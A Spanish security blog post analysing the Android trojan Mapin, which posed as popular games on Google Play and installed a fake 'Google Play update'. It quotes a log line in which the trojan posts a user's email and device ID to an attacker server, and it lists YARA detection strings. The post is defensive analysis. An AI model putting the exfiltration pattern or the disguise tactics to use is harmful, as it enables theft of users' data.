domingo, 27 de septiembre de 2015

Mapin, un troyano en casa

Hace unos días se publicó el anuncio del troyano Mapin. Este troyano según la firma Antivirus ESET ha estado presente en Google Play a finales de 2013 y finales de 2014, superando varios miles de descargas.

Para incitar al usuario a instalar la aplicación, ésta se hacía pasar por juegos muy buscados en el market de Google:
  • Hill Climb Racing
  • Plants vs Zombies
  • Highway Zombie
  • Super Maria adventure (sí, Maria!)
  • Zombies Highway Killer
  • Dr Driving - Street Driving
  • Super Hero Adventure

Tras estudiar algunas de estas muestras en nuestro laboratorio vamos a explicar su comportamiento:


Estructura de funcionamiento del instalador

El software está formado por tres componentes, el primero de ellos es el que se descargaba desde la tienda oficial de Android, también conocido como "Dropper" o "Instalador" (a la izquierda en la imagen superior).

Después de hacer un pequeño análisis estático de este archivo encontramos que la carpeta "assets" del APK contiene dos archivos cuyas cabeceras corresponden a archivos APK (o ZIP, que son exactamente iguales).

Después de ver esto, procedimos a estudiar la información que nos aportaba Koodous, empezando por los permisos de cada una de las aplicaciones. Primero vemos que el instalador solicita acceso tanto de lectura como escritura al almacenamiento externo (tarjeta SD), ver el estado de la red, Internet, tareas en ejecución y mensajes C2D.

URL Instalador en Koodous:



Posteriormente con el análisis dinámico manual veremos que usa estos permisos para almacenar las APKs directamente en la tarjeta SD y el estado de red para lanzar la instalación del troyano.

También veremos que los permisos del troyano tienen su razón, por ejemplo el uso de "C2D_MESSAGE" https://koodous.com/apks/cc95dc5b84d70de1b0a192f05e4c46813bfec3d6572750dbbad423a6946dc059:


También observamos que las URLs que contiene el APK en su interior resultan sospechosas, más adelante lo confirmaremos y explicaremos para qué las utiliza:


Procedemos con un análisis dinámico de la muestra para ver "grosso modo" cuál es su "modus operandi" y lo primero que nos llama la atención es, que tras la ejecución del "Dropper" en el dispositivo, este nos solicita instalar otra aplicación con el mismo nombre:

Imagen segunda instalación juego
Con esto intenta contentar al usuario de que la instalación del juego ha funcionado correctamente, aunque si se accede al mismo nos sale una pantalla como esta:


Recopilando, hasta el momento el usuario ha instalado el "Dropper" desde la tienda oficial de aplicaciones, y al ejecutarlo se ha vuelto a mostrar una pantalla de instalación (Imagen segunda instalación juego), que para un usuario común puede no resultar muy extraño. Tras esta instalación, en las aplicaciones del dispositivo aparece un único icono de "Plantas vs Zombies" y recordemos hay dos instaladas (el dropper y el juego ficticio).

En la siguiente etapa, el dropper va a intentar instalar el troyano. Para que sea más creíble para el usuario y piense que va a instalar una aplicación legítima, no lo hace inmediatamente, sino que espera a cuando haya un cambio de conectividad de red (recordar el permiso de cambio de red del que comentábamos al principio). Desactivar el modo avión, conectar el WiFi o 3G/4G activa este "broadcast" y entonces el sistema nos invita a instalar una actualización de "Google Play update" (que obviamente es falsa). Pueden comprobar el análisis en el siguiente enlace de Koodous:



Tras la instalación, el usuario no percibe información visible, pero el troyano se está ejecutando como servicio en “background”. Lo primero que hace es conectar con el servidor del atacante (recordemos las URLs que son visibles en Koodous) para enviar la información del dispositivo y el usuario:

V/AndroidHive GCM( 8733): Posting

'email=usermail@gmail.com&regId=APA91bFFOaavddFd33tZQDwmi2e6t-KmLbFI14cucUkLqDPHMRddcDDqFOy-5dHFrofySMJLl9IYl2wc1WQAWcoT1Re9BDq1BLb9a42BiIve-8IU2vsyR5yVopXpx6SWu1cFsrK3&name=null' to http://topgame24h.com/gcm/register.php

En esta petición envía el ID del dispositivo, el email del usuario y el nombre al servidor del atacante (URL actualmente desactivada), mediante una petición POST. Posteriormente se conecta con los servidores de Google para registrarse en el servicio GCM. El id del desarrollador (en este caso el fabricante del malware) es "138675150963":

V/GCMRegistrar( 8733): Registering app com.system.main of senders 138675150963

Imagen del código GCM del desarrollador

Desensamblando el código dex (compilado de Android) a Java podemos ver las funciones que el atacante usa para controlar los dispositivos. Esto lo hace enviando comandos a través de los servidores GCM de Google:


Como casi todas las muestras antivirus, una vez se analiza, es interesante sacar una firma. Una firma de virus, resumiendo, es una serie de expresiones regulares que deben cumplirse para categorizarlo dentro de esa familia. Existe una herramienta libre llamada Yara (cuya comunidad está creciendo a pasos agigantados) y que se puede usar en Koodous abiertamente.

En primer lugar vamos a crear la regla para el dropper. La manera más sencilla es extraer cadenas de texto características del mismo, y analizando hemos visto 3 de ellas que pueden ser perfectas:
":Write APK file (from txt in assets) to SDCard sucessfully!"
"4Write APK (from Txt in assets) file to SDCard  Fail!"
"device_admin"

Así que podemos crear la siguiente regla en Koodous, que en el momento de escribir esta entrada detecta nueve aplicaciones fraudulentas.

En cuanto al troyano (Google Play update), basándonos en unas cuantas muestras, se han extraído las siguientes cadenas que pueden ser muy características:
"138675150963" //GCM id
"res/xml/device_admin.xml"
"Device registered: regId ="

La primera de ellas es el código GCM del desarrollador, la segunda un archivo que no suelen tener el resto de APKs y el tercero es parte de una cadena que el atacante usa para depurar. La regla completa está en Koodous https://koodous.com/rulesets/851 con ocho detecciones en el momento de escribir esta entrada.

Más información:

una-al-dia (06/07/2015) Koodous: inteligencia colectiva para proteger tu Android

El Troyano Mapin consigue infectar sistemas Android a pesar de las medidas de seguridad de Google

Antonio Sánchez

No hay comentarios:

Publicar un comentario en la entrada